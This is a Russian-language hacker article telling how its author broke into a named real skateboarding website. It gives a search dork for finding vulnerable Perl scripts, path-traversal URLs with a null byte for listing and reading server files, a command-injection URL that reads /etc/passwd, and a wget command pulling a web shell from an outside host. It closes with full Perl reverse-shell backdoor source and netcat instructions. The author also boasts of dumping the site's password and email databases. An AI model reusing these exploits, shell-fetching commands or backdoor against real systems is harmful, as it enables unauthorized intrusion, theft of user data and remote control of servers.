[ Взлом Skater.ru: Возвращение ] [ INTRO ] Доброго времени суток! Сегодня я хочу рассказать о взломе _www.skater.ru. Некоторые люди с нашего форума помнят, что я однажды проник на сервер лучшего российского портала о скейтбординге. Но, увы, на тот момент я жестоко сглупил - рассказал админу о багах, благодаря чему лишился и шелла, и обещанного вознаграждения в виде администрирования форума =(. Также раньше я не мог написать этот текст в виду отсутствия логов взлома... [ Hacking In Progress ] Но на днях я копался в своих архивах и обнаружил слитые со _skater.ru базы паролей, мыльников и другой инфы. Пароли, кончено же, морально устарели - ни один из них не подошел к аккаунтам админов. Я очень огорчился и проверил старый скрипт с ошибкой, но его не оказалось на сервере. Я принялся от делать нечего и с малой надеждой тыкать по ссылкам (админ обещал удалить старые скрипты на перле)...Не нашел скриптов. И мне пришло в голову - в гугле ведь есть поиск по типу страниц! Вбив в поисковике следующую конструкцию, я получил интересующую меня ссылку: Код: site:skater.ru filetype:pl Ответ: http://www.skater.ru/cgi-bin/news/news.pl?sk=15&n=16&arhiv=show&what=shownews&page=video&tpl=[FILE]&chto= Как видишь, в ссылке есть параметр, не фильтрующийся скриптом. Заместо параметра можно поставить любое имя файла, доступное для чтения, в том числе и "." (а возможность просмотра списка файлов и директорий редко попадается). Важно было добавить также ядовитый ноль "%00", который отсекает строку, программно приписываемую к параметру. В итоге получился следующий сплоит просмотра всех файлов и директорий: Код: http://www.skater.ru/cgi-bin/news/news.pl?sk=15&n=16&arhiv=show&what=shownews&page=video&tpl=.%00&chto= *Папки и файлы* Когда я давно ломал этот сайт, были 3 директории, доступные для просмотра: Код: http://www.skater.ru/cgi-bin/news/news.pl?sk=15&n=16&arhiv=show&what=shownews&page=video&tpl=../../%00&chto= Выводились директории www, cgi-bin, tmp. На тот момент директория www была доступна на чтение и запись, чем я и воспользовался. Откопав на сервере часть скрипта старой админки на перле, я обнаружил в ней еще один баг, позволяющий выполнять команды: Код: http://www.skater.ru/cgi-bin/open.pl?url=%7Ccat+%2Fetc%2Fpasswd%7C Сейчас, увы, этого файла нет =(. Путем следующей конструкции я залил шелл: Код: wget -O /home/u66101/skater.ru/www/main_header.php http://und3rgr0und.narod.ru/f.txt Конечно путей залить шелл куча, так что wget - не панацея. Дальше я залил connback backdoor на перле и стал изучать сервер. Стояла FreeBSD 6.2, под которую на тот момент я не знал сплоитов на ядра, также не увидел доступных suid-багов. Это меня очень огорчило, и, слив все базы данных, я сообщил админу о баге, сами знаете что после этого вышло... [ OUTRO ] Как видишь, я не отчаялся без потерянной статьи, и начал по новой изучать скрипты, со 100% достоверностью восстановив ход моих действий взлома skater.ru в первый раз, да еще и снова став админом сайта/форума/чата. Единственное - не залил шелл в виду отсутствия времени. И теперь на xaker.name есть еще один текст по взлому от некоего никому не известного Хелкерна =) Спасибо за чтение статьи, удачи в IT-Security! =) PS Привет Коллеру, как обычно =) Спасибо админу сайта, за то, что не стал стирать старые скрипты... [ ETC ] Connect-Back Backdoor : Код: #!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] <Port>\n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/bash'} '-bash' . "\0" x 4; exit(0); } Сначала создаем прослушиваемый порт у себя на локалхосте любой программой, например NetCat'ом: Код: nc.exe -vv -l -p 31337 Где 31337 - прослушиваемый порт. Запускаем на удаленном сервере бэкдор: Код: perl backdoor.pl [YOUR_IP] 31337 Смотрим неткэт, видим шелл. При желании изменить тип шелла и порта, людям, не знающим перл, прошу обращаться в аську: 659786. Помогу забесплатно. (c) Helkern http://Xaker.Name